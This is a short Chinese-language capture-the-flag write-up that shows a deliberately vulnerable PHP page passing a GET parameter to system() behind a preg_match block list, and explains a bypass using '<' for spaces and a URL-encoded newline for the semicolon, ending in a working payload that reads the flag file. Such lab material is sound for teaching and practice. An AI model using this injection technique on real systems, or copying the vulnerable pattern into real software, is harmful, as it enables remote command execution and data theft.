image-20250308210932357

[!ImPORTANT]

preg_match过滤绕过及RCE重定向截断

0x01

访问靶场,回显源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

0x02

[!NOte]

审计源码

过滤字段新增x09,x26Tab,&的16进制形式

标准输出重定向

故构造payload时候需要采用<替换空格,%0a换行替代封号

构造payload如下

1
?c=tac%3Cfla%3F.php%0a

0x03

目录搜寻过程不再赘述

提交payload获得flag

image-20250308212637707